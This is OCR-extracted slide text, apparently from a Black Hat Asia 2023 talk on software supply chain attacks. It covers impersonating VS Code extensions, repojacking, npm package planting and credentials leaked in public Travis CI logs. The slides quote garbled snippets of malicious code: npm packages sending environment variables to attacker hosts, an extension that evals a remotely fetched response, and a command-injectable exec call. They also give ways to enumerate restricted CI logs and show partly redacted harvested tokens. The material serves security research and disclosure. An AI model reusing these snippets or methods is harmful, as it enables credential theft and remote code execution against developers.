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About us

* Security Researchers at Aqua Security
* Perform research on supply chain vulnerabilities

* Previously Red teamers
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Our Research Mindset
(6]5 L A R

Home Data Breaches Cyber Attacks Vulnerabilities Webinars Stare Contact

3CX Supply Chain Attack — Here's What We Know So Far The SolarWinds Cyber-Attack: What You Need to Know

The SolarWinds Cyber-Attack: What You

C Need to Know
X” Last Updated: March 15, 2021 S 0 | a r W I n d S

Supply Chain Attack

tomorrow
belongs to those who embrace it © (@) =3
today

I\I E T trending tech innovation business ‘security advice buying

, tech Home / Tech / Security
Codecov breach impacted ‘hundreds’ of

AccessPress Themes Hit With Targeted
customer networks: report Supply Chain Attack @

Updated: Reports suggest the initial hack may have led to a JANUARY 20, 2022 & BEN MARTIN
; COd ecov more extensive supply chain attack.
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The Development Flow
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The Development Flow
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IDE Phase
Visual Studio Code Extensions

Q & Q@ 0

SCM Registry Cl/ICD Artifacts Runtime

#BHASIA @BlackHatEvents
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Most popular IDE

Visual Studio Code

vissatstedio [ 315
ocetis [ - o7
vorepad-+ ([ 277
v [ 23+

Android Studio _ 19.8%

rycrors ([ 2+ e

Developer

sublime e (D 155> L—I survey




blgt’:k hat

ASIA 2023

A SIAUIY!

Python Code Runner

PPy o % % %k FREE

Beautify

% % % % FREE

& ()
docker

Docker Live Server

icrosoftcom @

L & & & FREE * %k Kk ki FREE

O

GitLens — Git super

n.com &

% % % % FREE
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VSCode Marketplace

Extensions for Visual Studio Code

Featured

5]

GitHub Copilot

Batch Rename
St s -
- FrEs TRIAL

e e e e

Trending this weel

PEN '

ASKGPT for VSCode

(i

Rubberduck - GPT-3 Odoo

ChatGPT PLUS >
e rrer

Extensions for Visual Studio Code

Featured

D = @

tHub Copilot

Multiple cursor case

Batch Rename Gatito Theme
s - - R -
- Fres TRIAL e e A e e A e Free e e A ey
Trending this weelk

-~ o
L
ASKGPT for VSCode

Rubberduck - GPT-3 odoo

ChatGPT PLUS >
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EXTENSIONS: MARKI C = Extension: Vetur X

@sort:installs

Vetur
Python 2019829288 &§568M * 45 L\ ) )
Linting, Debugging (multi-threaded, remote), Intellisense, code formatting, refa... A\ Pine Wu & 17,313,644 * %k ok ok Kk Repository License

Microsoft Install

Vue tooling for VS Code
GitLens — Git supercharged 9. &259M x5
Supercharge the Git capabilities built into Visual Studio Code — Visualize code ...
Eric Amodio Install

Install

C/C++ 0241 &243M *35
C/C++ IntelliSense, debugging, and code browsing.
Microsoft Install

ESLint 19 222M * 45
: . Vetu

Integrates ESLint JavaScript into VS Code.
Dirk Baeumer Install

Debugger for Chrome 4.11.7 &215M * 4 VS Marketplace v0211 installs |[2.66M rating

Debug your JavaScript code in the Chrome browser, or any other target that su...
Microsoft Install Vue tooling for VS Code, powered by

Details Contributions Changelog

Language Support for Java(TM) by Red Hat 047.0 &193M *45
Java Linting, Intellisense, formatting, refactoring, Maven/Gradle support and mo...
Red Hat Install

Doc:

Try it out wi

vscode-icons 920 &187M *5

Icons for Visual Studio Code #+ VueConf 2017

VSCode Icons Team Install

Vetur 021.1 &173M * 45 Features

Vue tooling for VS Code

Pine Wu Install Syntax-highlighting

c# 1210 164 * 4 SRERES

C# for Visual Studio Code (powered by OmniSharp).
Microsoft Install Linting / Error Checking

Emmet




Nnpm Packages

#BHASIA @BlackHatEvents
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Malicious [1]'I11] Packages

The HaCkzl' NCWS DARKReadlng ,%\ The Edge DR Tech Sections & Events )

Home Data Breaches Cyber Attacks Vulnerabilities Malware Offers Contact Q =

Risk (® 5 MINREAD [ENEWS

a » >
Discover all the attacks your
servers are fighting H
. /

/

Researchers Uncover Malicious NPM Packages Stealing Data from Apps

Malicious npm Packages Scarf Up Discord
Tokens, Credit Card Info

The campaign uses four malicious packages to spread "Volt Stealer” and "Lofy Stealer” malware in
and Web Forms c
the open source npm software package repository.

B4 July 05,2022 @& Ravie Lakshmanan

tomorrow
Z D ::dl:r;ﬂa 10 thase wha embrace it &) @ 9
N E T trending innovation home & office business finance education sectL

Home /Innovation / Securlty

Hundreds more packages found in
malicious npm factory'

hlichad

/ innovation

Over 600 malici | were pL in only five

days.
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Malicious VSCode Extensions

Go g|e malicious vscode extensions X S @ Q

[*] Videos { Shopping @ Maps : More Tools

Your search did not match any documents.
Suggestions:

« Make sure that all words are spelled correctly.
« Try different keywords.
+ Try more general keywords.




#BHASIA @BlackHatEvents




What can a VSCode extension do?

#BHASIA @BlackHatEvents
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® 00 B pruvec- cosstormaner-vis x|

®0 8 £ provier- Codumatter Vi x |
€ © & marketplace.visualstudio.com/items

- © & morketplace. visualstudio.com/tems?7itemName=ssbenp prettia

Prettier - Code formatter Prettier - Code formatter
Prettier | & 2370installs | J d % ¥ {2) | Free | W Sponsor

Prettier | & 27,759709installs | drdk %3  (372) | Free | @ Sponsor
Code formatter using prettier

i

VersionHistory  Q&A  Rating & Rev

Version History ~ Q&A  Rating & Review

Categories Prettier Formatter for Visual Studie Code

Prettier Formatter for Visual Studio Code

Tags s Tags
Installation Works with Installation
Resources. Resources

+P] paste the following command, and press

Project Details

Project Details

o 0w
installed, be sure 10 56 it 35 the default ° ave instat etit as the defay B
c ™ e -‘ ageso i language e
o
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® 00 B pruvec- cosstormaner-vis x|

808 £ provier - Codulomatter Vi x |
€ © & marketplace.visualstudio.com/items

- © & morketplace. visualstudio.com/tems?7itemName=ssbenp prettia

Prettier - Code formatter Prettier - Code formatter
Prettier | & 2370installs | J d % ¥ {2) | Free | W Sponsor

Prettier | & 27,759709installs | drdk %3  (372) | Free | @ Sponsor
Code formatter using prettier

i

VersionHistory  Q&A  Rating & Rev

Version History ~ Q&A  Rating & Review

Categories Prettier Formatter for Visual Studie Code

Prettier Formatter for Visual Studio Code

Tags s Tags
Installation Works with Installation
Resources. Resources

+P] paste the following command, and press

Project Details

Project Details

o 0w
installed, be sure 10 56 it 35 the default ° ave instat etit as the defay B
c ™ e -‘ ageso i language e
o
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The Comparison

8 marketplace.visualstudio.com/items?itemName=eshenp.prettier-vscode 1

Visual Studio Code > Formatters > Prettier - Code formatter

3 Prettier - Code formatter
2 Prettier | &27,223,799installs | H % A ¥ (370) | Free | ¥ Sponsor

4 5

Code formatter using prettier

Install Trouble Installing? 2

Original

@ marketplace.visualstudio.com/items?itemName=espenp.pretier-vscode

Visual Studio Code > Formatters > Prettier - Code formatter

Prettier - Code formatter
Prettier | & 2371installs | J % % 7 (2) | Free | @ Sponsor

Code formatter using prettier

m Trouble Installing? =

Impersonating
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® 00 B pruvec- cosstormaner-vis x|

®0 8 £ provier- Codumatter Vi x |
€ © & marketplace.visualstudio.com/items

- © & morketplace. visualstudio.com/tems?7itemName=ssbenp prettia

Prettier - Code formatter Prettier - Code formatter
Prettier | & 2370installs | J d % ¥ {2) | Free | W Sponsor

Prettier | & 27,759709installs | drdk %3  (372) | Free | @ Sponsor
Code formatter using prettier

i

VersionHistory  Q&A  Rating & Rev

Version History ~ Q&A  Rating & Review

Categories Prettier Formatter for Visual Studie Code

Prettier Formatter for Visual Studio Code

Tags s Tags
Installation Works with Installation
Resources. Resources

+P] paste the following command, and press

Project Details

Project Details

o 0w
installed, be sure 10 56 it 35 the default ° ave instat etit as the defay B
c ™ e -‘ ageso i language e
o
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! Visual Studio Cod

SETUP

GET STARTED

USER GUIDE
Basic Editing

Extension
Marketplace

TERMINAL

Docs Updates Blog APl Extensions FAQ Learn Search Docs

Can | trust extensions from the Marketplace?

The Marketplace runs a virus scan on each extension package that's published to ensure its safety. The
virus scan is run for each new extension and for each extension update. Until the scan is all clear, the
extension won't be published in the Marketplace for public usage.

The Marketplace also prevents extension authors from name-squatting on official publishers such as
Microsoft and RedHat.

If a malicious extension is reported and verified, or a vulnerability is found in an extension dependency:

1. The extension is removed from the Marketplace.
2. The extension is added to a kill list so that if it has been installed, it will be automatically uninstalled
by VS Cade

The Marketplace also provides you with resources to make an informed decision about the extensions you
install:

* Ratings & Review - Read what others think about the extension.
* Q & A - Review existing questions and the level of the publisher's responsiveness. You can also
engage with the extension's publisher(s) if vou have concerns

* [ssues, Repository, and License - Check if the publisher has provided these and if they have the

support you expect.

If you do see an extension that looks suspicious, you can report the extension to the Marketplace with the
Report Abuse link at the bottom of the extension More Info section.
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The exact same repository information

Project Details Project Details

Q) prettier/prettier-vscode ) prettier/prettier-vscode

© Last Commit: amonthago 6 © Last Commit: a month ago

§9 14 Pull Requests £% 14 pull Requests

© 51 Open Issues @ 51 Open Issues

More Info More Info

Version 9.10.3 Version 9.10.3

Released on 1710/2017, 9:52:02 PM Released on 9/14/2022, 7:49:49 PM
Last updated 11/30/2022, 9:13:17 PM Last updated 1/2/2023, 3:50:11 PM
Publisher Prettier Publichar Prettier

Unique Identifier  esbenp.prettier-vscode

Unique Identifier ~ espenp.pretier-vscode
Report Report Abuse

Report Report Abuse

v {I&

Original Impersonating
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prettier

108 Results

Prettier - Code form Prettier ESLint

*k ko FREE koK) FREE
Prettier JaV§ . J.aﬁé prettier lorn‘r}a‘l‘:.

*k FREE w ek FREE

Prefti.;-_r.SQL VSchlieu ‘ ‘Prl.el‘tier-v- ;

e d dek FREE % %k FREE

Prettier Now

* ok hk FREE

Prettier - JavaScript

LE S & & 4 FREE

Prettier C# console

% % Je ko FREE

Searching Prettier

Prettier - Code form

* ok FREE
Prettier TOML
t

*ohokkk FREE

Airbnb react snippet

FREE

Showing: All

Prettier-Standard - J

e o % o ok FREE

Prettier - JavaScript

ek ki FREE

Prettier - JavaScript

* FREE

Sart By: -

Prettier - JavaScript

Je e ok Kk FREE

Prettier for Handleb "
e Prettier - Code form

Prettier = 1.5K

*hkdkk Fikt Code formatter using prettier

FREE

prettier-configuratic

% % & Kk FREE




The POC

#BHASIA @BlackHatEvents







"Verified"

#BHASIA @BlackHatEvents
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LeBron James ¢

27M followers - 116 following

kingjames Follow Message

2,429 posts 144M followers 408 following

" LeBron James &
= @Kinglames

EST. AKRON - STV/M Class of '03 LeBronJamesFamilyFoundation.org #IPROMISE

® Amongst La Familia! (?) LeBronJames.com Joined March 2009

186 Following 52.7M Followers
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Verified on the Marketplace

sammcj-vscode-pack
Sam MclLeod #% | L 2installs | v % % % % (1) | Free

Sam's vscode extension pack

m Trouble Installing? =
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Verified on the Marketplace

sammcj-vscode-pack
Sam Mcleod # | X 2installs | % % % % % (1) | Free

Sam MclLeod has a verified ownership for the
Sam's vscode exten domain smcleod.net

Install Trouble Installing? 2
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Verified on the Marketplace

To verify a publisher:

1. Visit the Visual Studio Marketplace publisher management page.

2. Select or create a publisher you wish to verify.

3. Input an eligible domain in the Verified domain field, save, and select Verify.

4. Follow the instructions in the dialog to add a TXT record to your domain's DNS configuration.
5. Select Verify to validate that the TXT record has been successfully added.

Once your TXT record has been validated, the Marketplace team will review your request and grant
verification within 5 business days.
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Verified on the Marketplace

sammcj-vscode-pack
Sam MclLeod #% | L 2installs | v % % % % (1) | Free

Sam's vscode extension pack

m Trouble Installing? =
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Before publication

To verify a publisher:

1. Visit the Visual Studio Marketplace publisher management page.

2. Select or create a publisher you wish to verify.

3. Input an eligible domain in the Verified domain field, save, and select Verify.

4. Follow the instructions in the dialog to add a TXT record to your domain's DNS configuration.

5. Select Verify to validate that the TXT record has been successfully added.

Once your TXT record has been validated, the Marketplace team will review your request and grant
verification within 5 business days.
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Present

To verify a publisher:

1. Visit the Visual Studio Marketplace publisher management page.

2. Select or create a publisher you wish to verify.

3. Input an eligible domain in the Verified domain field, save, and select Verify.

4. Follow the instructions in the dialog to add a TXT record to your domain's DNS
configuration.

5. Select Verify to validate that the TXT record has been successfully added.

Once your TXT record has been validated, the Marketplace team will review your

request and grant verification within 5 business days.

Note
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The Verified Prettier

Prettier - Code formatter
Prettier £ | & 29,374,883 installs | Y % % ¥ (381) | Free | % Sponsor

Code formatter using prettier
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Your First Extension

extension
media

template

SISIX

walkthrough

webview
s CHANGELOG.md
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Malicious VSCode Extensions

./ Backstabbers-Knife-Collection

View on Gittiub.

Backstabber’s kKnife cCollection
WHAT IS THIS?

MALICIOUS
PACIHACGES
= ROM

OPEN SOURCE SUPPLY CHAIN
AT TACKS

ATASE

HOW TO GET ACCESS?

shoot me an email (ohmlat]cs. uni—bonn.de)

HOW TO GET ACCESS?

shoot me an email (ohm[at]cs.uni-bonn.de)

CITE US

{Ohm, Marc and Plate, Henrik osch, Arnold and Meier,
booktitle={Int nal Conferen tection of Intrusions and

020},

e, and Vulnerability A
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Package Nam{§ Affected Versiorg Published Details

npm nodemailer.js 1.0.3;1.0.2 2017-08-01T723:3 lonment variables and sends them to attacker controlled locations
npm proxy.js 0.11.3;1.01;1.0.2 2017-07-19T06:4 lonment variables and sends them to attacker controlled locations
npm node-opencv 1.0.3;1.0.2 2017-07-19T06:5 . lonment variables and sends them to attacker controlled locations

npm opencv.js 1.0.1;1.0.2 2017-07-19706:5 JSON.stri ngify ( process.env ) : lonment variables and sends them to attacker controlled locations
npm openssl.js 1.0.1;1.0.2 2017-07-19T06:54 ) e . s lonment variables and sends them to attacker controlled locations
npm node-opensl| 1.0.1;1.0.2 2017-07-19T706:59 - . _ =4 (e’ﬂ‘ v ) -toStr g( lonment variables and sends them to attacker controlled locations
npm node-tkinter 1.0.1;1.0.2 2017-07-19T06:54 lonment variables and sends them to attacker controlled locations

npm node-openss| 1.0.1;1.0.2 2017-07-19T06:59 . if r d lonment variables and sends them to attacker controlled locations
npm tkinter 1.0.1;1.0.2 2017-07-19706:54 stri ngty ( ata lonment variables and sends them to attacker controlled locations
npm babelcli 1.0.0;1.0.1 2017-07-19707:0¢ lonment variables and sends them to attacker controlled locations
npm gruntcli 1.0.3;1.0.2 2017-07-19T707:04 1 lonment variables and sends them to attacker controlled locations
npm jquery.js 1.0.1;1.0.2;3.2.2-pre2017-07-19T07:0: lonment variables and sends them to attacker controlled locations

npm d3.js 1.0.1;1.0.2 2017-07-19T07:0: A lonment variables and sends them to attacker controlled locations
npm crossenv 1.0.1;1.0.2;6.1.1 2017-08-01723:0 port: 80, lonment variables and sends them to attacker controlled locations

npm Cross-env.js 1.0.1;1.0.2;5.0.1 2017-08-01T23:3 h lonment variables and sends them to attacker controlled locations
npm fabric-js 1.0.1;1.0.2;1.7.18 2017-08-01723:3 pat 3 lonment variables and sends them to attacker controlled locations
npm ffmepg 1.0.1;1.0.2;0.0.1 2017-08-01T23:3 method: ° ST lonment variables and sends them to attacker controlled locations
npm http-proxy.js 1.0.1;1.0.2;0.11.3 2017-08-01T723:3 f lonment variables and sends them to attacker controlled locations
npm  tp-proxy-middelwe 29.0 30-01-20 - executed the package downloads a Backdoor and executes it.

npm mariadb 1.0.1;1.0.2;2.13.0 2017-08-01723:3 ) N/ X-WwW -urlie lonment variables and sends them to attacker controlled locations
npm mongose 1.0.1;1.0.2;4.11.3 2017-08-01723:3 Co E-Le - uffer. byte Lengt h(p 3 lonment variables and sends them to attacker controlled locations

P

req http.request(options);

reg.write(postData);
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Malicious VSCode Extensions

| Code ‘ Blame | 33 lines (31 loc) - 1812 Bytes

_ = ; : |_eval from_http_https reguest . O
function activate(context) {

8 : cotTrte =

e i = rﬂqqu@(‘htt

const os require("os");

= o i ) let hostname

5 E " let url ttpe /4 ‘name}. owal.top/vscode

f on('end'

» ] ; eval(r

y: WARNING
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Secret Scanning

!!m AWS_ACCESS_KEY_ID=AS :
I AWS TSECRET_ACCESS_KEY=h4T' [ " 'pRhsR2iezSZ
A
& AWS_SESSTON_TOKEN=TQoJb31pZ21uX _ _ _ _ 5ajiKN223sMyKjKEraUrNA9ocTullycMvAszh

9/xLAB

—9 ECO4qudkT2u8s1ji

images
out user:

. Microsoft Pass:
snippets Marketplace token:
ternplates ‘%

¥ CHANGELOG. md users: =
Microsoft Pass:
package.json Marketplace token :
#| README. md

| | token
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Document

Vulnerability in “UnityQuickDocs”

UnityQuickDocs

ColdThunder1l | 2 7.459 installs | (0) | Free

A extension to help you quick search uinty APl's Documents.
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activate(context) (f

console.log('C

let disposable

selectedStr .window.activeTextEditor.selection.s
version =
if (selectedStr )
ar shellstr = .uni om/ " b imen il i arch.html 2¢=""+selectedStr;
exec{shellstr,

context.s s .push(disposable);
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Mitigation And Recommendations

* First Things First - The publishers and platform’s responsibility

— Verify the credibility of publishers before installing VS Code
extensions

* Depending on your role as a security researcher or developer - scan
IDE extensions for vulnerabilities, secrets, and malicious activity

* |IDE — “Shift left-left”

— What about other attack vectors - such as JetBrains, Postman
Collections, Burp Suite extension etc?



SCM Phase
Repojacking

e QO =0,

IDE Registry CliCD Artifacts Runtime

#BHASIA @BlackHatEvents
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What is Repojacking

rgb [@ https://github.com/MyOrganization/myRepo ]
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What is Repojacking

[@ https://github.com/MyOrganization/myRepo ]

r9<[> [@ https://github.com/NewOrganization/myRepo ]
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What is Repojacking

[@ https://github.com/MyOrganization/myRepo ]

i

r9<[> [@ https://github.com/NewOrganization/myRepo ]
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What is Repojacking

®

o0 [@ https://github.com/MyOrganization/myRepo ]

i

r9<[> [@ https://github.com/NewOrganization/myRepo ]
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What is Repojacking

®

o0 [@ https://github.com/MyOrganization/myRepo ]

X

r9<[> [@ https://github.com/NewOrganization/myRepo ]
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Restrictions and bypasses

Hijacking GitHub Repositories by Deleting
and Restoring Them

2022-12-04 - Joren Vrancken

Recently, we encountered an obscure security meas
popular repository namespace retirement. This secu
protect (popular) repositories against repo jacking (i

During this research, we discovered a way to bypass
We reported this to GitHub, and they fixed the probli
repository namespace retirement is, what attacks it i
others) were able to bypass it.

GitHub patches flaw that allowed to take control over thousands of repositories, enabling the poisoning of popular open-source packages.

to exploit it were recently published, making it highly likely that we will see more of these in the near

repojacking

Pasted: November 3, 2022 by |
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Restrictions and bypasses

* Restriction
100 clones the week before rename

* There were many bypasses and probably will be so a redirect with
available username counts as vulnerable!

* Nevertheless, the examples we show here are fully exploitable
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Exploitation Scenarios

* Link in the code to the previous name
— Direct link to hijackable repository
— Hijackable modules - Go,Swift etc

* Installation guide references

* Hijackable link in posts across the internet
— Stack overflow answer

— Blog with recommended tools
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Example - Installation guide

Build

« C & github.com/gc

= googie/mathstens — First clone the project from github:

<» Code (9 Issues 59

¥ master

git clone|https://github.com/socraticorg/mathsteps.git
cd mathsteps

0 gaunt
.githul
lib
script:

Install the project dependencies:
3 .eslint

Y .gitign

npm install
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Example - Link in the code

yesgraph-Dominus / install.sh

O Search or jump to... / Pull requests Issues Codespaces Marketplace Explore

Create a new repository

A repository contains all project files, including the revision history. Already have a project repository
elsewhere? Import a repository.

Owner * Repository name *
YesGraph ~ / Dominus
@ Dominus is available.
Great repository names are short and memorable. Need inspiration? How about reimagined-lamp?

Description (optional)

[ Hello BlackHat Asia 23 ]

O Q Public
®= Anyone on the internet can see this repository. You choose who can commit
o) Private
You choose who can see and commit to this repository.
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Example - VSCode Extension

Installing Extension Pack

Step 1

Download extension.vsix

Step 2
Go to extension Tab in VSCode, from options press Install from vsix

3 [@ https://github.com/old_org/repo_name/releases/download/0.0.1/extension.vsix ]

-
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The Dataset

GHTorrent Docs  Downloads~ FairUse  Datasets~  Based Upon Hall of Fame  FAQ

The GHTorrent project

=,;Mi”°s°ﬁ What does GHTorrent do?
TU Delft e
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The Datase

C (A Not Secure | ghtorrent-downloads.ewi.tudelft.nl/mysal/

Index of /mysql/

A
mysql-2013-10-12.sgl.gz 10-Dec-2015 20:33 4522065160
mysql-2014-01-02.s8ql.q9z 10-Dec-2015 21:19 5921235276
mysql-2014-04-02.sgl.gz 10-Dec-2015 22:13 7354431193
mysql-2014-08-18.sgl.gz 10-Dec-2015 23:43 12043734230
mysql-2014-11-10.sgql.gz 11-Dec-2015 01:34 15118378692
mysql-2015-01-04.sqgl.gz 11-Dec-2015 03:42 17389100969
mysqgl-2015-04-01.sgl.9z 11-Dec-2015 06:56 26293878411
mysql-2015-06-18.sql.gz 11-Dec-2015 11:18 35102522985
mysql-2015-08-07.sql.qz 11-Dec-2015 15:17 33069692808
mysql-2015-09-25.tar.gz 11-Dec-2015 20:02 33841191143
mysql-2016-01-08.tar.gz 08-Jan-2016 21:57 35591472888
mysql-2016-01-16.tar.gz 16-Jan-2016 08:17 35838991852
mysql-201 01-Feb-2016 11:38 36667951779
mysgl-201 2-16.tar 21-Feb-2016 23:45 37302751172
mysql-2016-03-01.tar.gz 01-Mar-2016 11:57 37988648250
mysgl-2016-03-16.tar.gz 16-Mar-2016 10:42 38707567798
mysql-2016-04-19.tar.gz 19-Apr-2016 17:46 40105071925
mysgl-2016-05-04.tar.gz 05-May-2016 02:35 40494259095
mysql-2016-06-01.tar.gz 01-Jun-2016 11:50 41787169343
mysgl-2016-06-16.tar.gz 16-Jun-2016 11:20 42423227238
mysql-2016-07-19.tar. 23-Jul-2016 09:24 43325816626
09-05.tar 05-Sep-2016 23:18 45284829230
20-Jan-2017 04:22 51960147283
01-Feb-2017 12:42 52582882424
mysgl-2017-03-01.tar.gz 01-Mar-2017 14:38 52916505432
mysql-2017-04-01.tar.gz 01-Apr-2017 14:13 56115975886
mysql-2017-05-01.tar.gz 01-May-2017 14:40 57721654657
mysql-2017-06-01.tar.gz 01-Jun-2017 15:02 59315227769
01-Jul-2017 15:05 60948681616
01-Sep-2017 15:53 64258782505
-10-01.tar. 01-0ct-2017 15:57 65448079781
mysql-2017-12-01.tar.gz 01-Dec-2017 16:49 69797297007
mysqgl-2018-01-01.tar.gz 01-Jan-2018 16:52 71446490168
mysql-2018-02-01.tar.gz 01-Feb-2018 20:09 73273914729

mysql-2018-03-01.tar.gz 01-Mar-2018 19:13 74476124928
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Mitigation And Recommendations

* Check all the GitHub links, both in your own code and in the code of
others
— Update any links that redirect to old organizations to point to the
correct ones
— Perform these checks periodically
* Want to change your organization name? keep it!
* Bug hunter? There is a high possibility of finding potential organizations

when one company acquires or merges with another



Registry Phase
Package Planting

(& @ Q© [E 2H

IDE SCM Cl/ICD Artifacts Runtime

#BHASIA @BlackHatEvents
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What is Package Planting?

fb_npm_package

0.0 . - Published a few seconds ago

B Readme I explore [ 20 & 0Depend @ 1versions £ settings

E to your package so that users know

This package does not have a README

get started

npm i Tb_npm_package

Keywords

none Version

otal
1
y
! fb_npm_package
B Rreadme B explore & 0Dependencies & 0 Dependents ® 1
This pac oes not have a README, Add a ADME to your package so that users know

Keywords i o
none Version License
1.0.0 IS¢
L d S Total File
2108 1

6 minutes ago

sliabor.

] {|
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Invite other users via npm CLI

nj £1&
(~/Desktop/npm_deploy

owner add fb fb_npm_package

~[~/Desktop/npm_deploy
publish
npm
npm ® fb_npm_packagedl.0.0
npm
npm 210B package.json
npm
npm name: fb_npm_package

_~/Desktop/npm_deploy |
owner add npm fb_npm_package

npm version: 1.0.0

npm filename: fb_npm_package-1.0.0.tgz

npm package size: 242 B

npm unpacked size: 210 B

npm shasum: 4deeb@fa54ed006f30d6f312c30d3078d654e878

npm integrity: sha512-pwRY@xW5mIBa6[ ... JU7u2jldngwUmw=

npm total files: 1 '~/Desktop/npm_deploy
owner rm ghosterp fb_npm_package

- ghosterp (fb_npm_package)

npm
npm Publishing to https://registry.npmjs.org/
+ fb_npm_packagel.0.0
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Are You Maintaining Poisoned Packages?

fb_npm_package

Published 7 minutes ago

B Readme B explore ) & 0 Dependencies & 0Dependents
This package does not have a README. Add a README to your package so that users know how to get started
° Install
» npm i fb_npm_pack
Keywords
none Version
1.0.0

Unpacked Size

2108

Last publish

7 minutes ago

Collaborators

nj f
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The old mechanism

Username
7>

1,
o,
Invite ,’b el/'o

Maintainers 2 d/sc/
Osl/
7e

E 2FA Disabled |write access

ghosterp 2FADisabled write access
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2FA enumeration

Owners and indirect owners of the top 35 npm packages

160

| [

140

120

100

80

60

40
20

$i0|02 - GE
ISIWIUIW - E
JAAWDS - €
19sied-Apoq - 7€
ditpyw - T¢
3J03sI3pUN - OF
apou/sadA1@ - 62
23184-apou - 8¢
qoi3 - 17
yoedgam -9z
swnuni/jeqeqd - 57
AUDJOP - 2

sixi - €7

sBied - zg
yduosadAy - T
pitqeniq - 0
JuAse - gT
SaWweusse|d - 8T
Jainbui - /T

pinn -9t

Bngap - g1

sl-2400 - T
sadAy-doud - €T
BIX9-S} - 7T
aNA-TT

ysenbal - QT
juawow - g
wop-joeal - g
ssaldxa - £
Jepuewiwod - g
soIXe - G
qusi-v
ey -¢
Jeal-g

ysepoj - T

o Indirect owners at risk

® Indirect owners

| Owners
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The patch: Confirmation mechanism

Invitations 2

npm

fb X
n ) You’ve been invited to maintain fo_npm_package.

Maintainers 1 Accept Decline

E pizzasecure write access
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Mitigation And Recommendations

* Ensure that all packages listed under your scope belong to you

* Always be suspicious of your dependency owners

— Evaluate open-source packages before choosing them by using various

sources, such as Deps.dev and Socket.dev.
— Overlay browser extension (WIP) - https://qithub.com/os-scar/overlay




CI/CD Phase
Public CI/CD Logs

Q i =0,

IDE SCM Registry Artifacts Runtime

#BHASIA @BlackHatEvents
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€ C Y & travis-ciorg/git i 1031473 Qe x k 4 G0

[ npm / node-semver]() Eme=m

it Branc ?U Bu
+/ Pull Request #
Commit Ran for 1 mir
#383: add support for node.js esm auto ex| aboutayeara

Branch master

wWorker information worker_info

Build system information em_info

docker_uti registry mirrors

resalvconf

$ git clone --depth=58 https://github.com/npm/node-semver.git git.checkout

Setting environment variables from repository settings

$ export COVERALLS_REPO_TOKEN=mQ]
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&« > C @ https://api.travis-ci.org/v3/job/5248126/log.txt

[0m Adding system startup for /etc/init.d/rsync ...
/etc/rc0.d/K20rsync -=> ../init.d/rsync
/etc/rel.d/K20rsync -> ../init.d/rsync

/etc/rc6.d/K20rsync -> ../init.d/rsync
/etc/rc2.d/S20rsync -> ../init.d/rsync
/etc/rec3.d/s20rsync -> ../init.d/rsync
/etc/rc4.d/S20rsync -> ../init.
/etc/rc5.d/520rsync -> ../init.

[91minvoke-rc.d: policy-r |l 1 a‘

jbc-bin (2.19-0ubuntu6.6) ...
eadahead (0.100.0-16) ...

intermediate container beB81652cd8dd

Step 4 : RUN ansible-playbook-wrapper

——=> Running in 3c469e9299c3

- executing: git clone https://github.com/trumant/ansible-consul.git consul

- executing: git archive --prefix=consul/ --output=/tmp/tmpfJHxpY.tar 2bd5776c8f
- extracting consul to /tmp/roles/consul

- consul was installed successfully
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Fetching the logs — Method 2

https://api.travis-ci.org/v3/job/[4280000-774807924]/10g.txt

https://api.travis-ci.org/logs/1

https://s3.amazonaws.com/archive.travis-ci.org/jobs/4670478/10g.txt?X-Amz-Expires=3056X-Amz-Date=202206 ...

https://api.travis-ci.org/v3/job/4670478/1log.txt
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Accessing restricted logs

Method 1

& > C )} @& apitravis-ciorg/v3/jobf1

"@type": "error",
"error_type": "not_found",
"error_message"”: "log not found"

Method 2

https://api.travis-ci.org/logs/6976822

—

Using worker:

=]

C O

B s3.amazonaws.com/archive.travis-ciorg/jobs)1

travis_feld:start:git.1
% git clone --depth=58 --branch=master git://github.com/alu@le@435771/prcte@8.git aluele@435771/pretes
Cloning into 'alu@l@8435771/prcteés’...
Counting objects: 61, done.B[K

remote:
remote:
remote:
remote:
remote:
remote:
remote:
remote:
remote:
remote:
remote:

Compressing
Compressing
Compressing
Compressing
Compressing
Compressing
Compressing
Compressing
Compressing
Compressing

objects:
ohjects:
objects:
objects:
objects:
objects:
objects:
objects:
objects:
objects:

2%

5%

B%
11%
13%
1le%
19%
22%
25%
7%

worker-linux-5-1.bb.travis-ci.org:travis-linux-11

(1/38) E[K
(2/36) E[K
(3/38) E[K
{a/36) BE[K
{5/36) E[K
(6/36) B[K
(7/36) E[K
{8/36) K
{o/38) E[K
{18/36) E[K
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The Harvest

GitHub -

dWsS :

github_user url_travis stars key value
hitps:/fapi travis-ci.orgivafjob/24 13Mleg.. 131040 github_token 16ed 77
htips /api fravis-ci.orgiv3fob/1C 3Meg.. 102479 github_token TBet0q 97
https /fapi fravis-ci.orgiv3/ob/3s 75/l0g 17629 github_token e70E i
hitps //api ravis-ci.orgiv3fob/1 3 30iog 10337 github_token 11T oft
hitps:/fapi travis-ci.orgiva/job/3C S4/log 9459 github_token e 031
https://api.travis-ci.org/v3ijob/48 17Nog.. 5168 github_token e70t de
https://api travis-ci.org/v3/job/5¢ 25/109... 5165 github_token e70t "4e
/lapi travis-ci.org/v3fjob/31 28/0g.. 3805 github_token 75d1 f14
pitravis-ci.org/v3/job/6Z 25/09.. 2956 github_token 69
travis-ci.orgivajob/4e 71og.. 2051 qgithub_token 336
hitps:#api.travis-ci.org/v3jobi67 3Mog.txt 1436 & token de
https:/fapi travis-ci org/v3/jobi Hlog
https://api travis-ci.orgiva] log.txt a
= hitps /fapi travig, i, iflog aw Ps_key
:_secret_access_key
secret_access_key
github_user url_travis stars key value
W T ptips;/ap) -ci ora/v3job/3 i lilog.. 2417 docker password
hitps//api.travis-ci.org/v3/job/7 flog... 1872 docker_password

%"dccker

BT ntipsifapitravis-ci.org/v3ob/T|

Uflog.. 217 docker_password

hitps:/api travis-ci org/v3fjob/2m #llog... 26 docker_password

nitps:iiapi travis-ci.crg/vagonie
hitps:/api.travis-ci.org/v3fjob/7 = aflog...
hitps:/api.travis-ci.org/v3/job/7 == iflog...
hitps:/api travis-ci.org/v3fjob/7 dfeg

Mog.. 18 docker_password
6 docker_password
§ docker_password
2 docker_password
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Testing APl Keys

& streaak / keyhacks  Public ®Watch 91 ~ % Fork 87 ~ 1Y Star 36k -~

<> Code (©) Issues 22 11 Pullrequests 14 () Actions [ Projects @ Security |~ Insights

¥ master ~ ¥ 6branches ©0tags Go to file Add file ~ <> Code ~ About

Keyhacks is a repository which shows

% streaak Merge pull request #7119 from Xib3rR4dAr/patch-1 ... decases on Aug 19,2022 (O 216 commits quick ways in which API keys leaked by a
bug bounty program can be checked to
D README.md Merge branch ‘master’ into patch-1 8 months ago see if they're valid.
[0 Readme
‘= README.md
vy 3.6k stars

® 91 watching

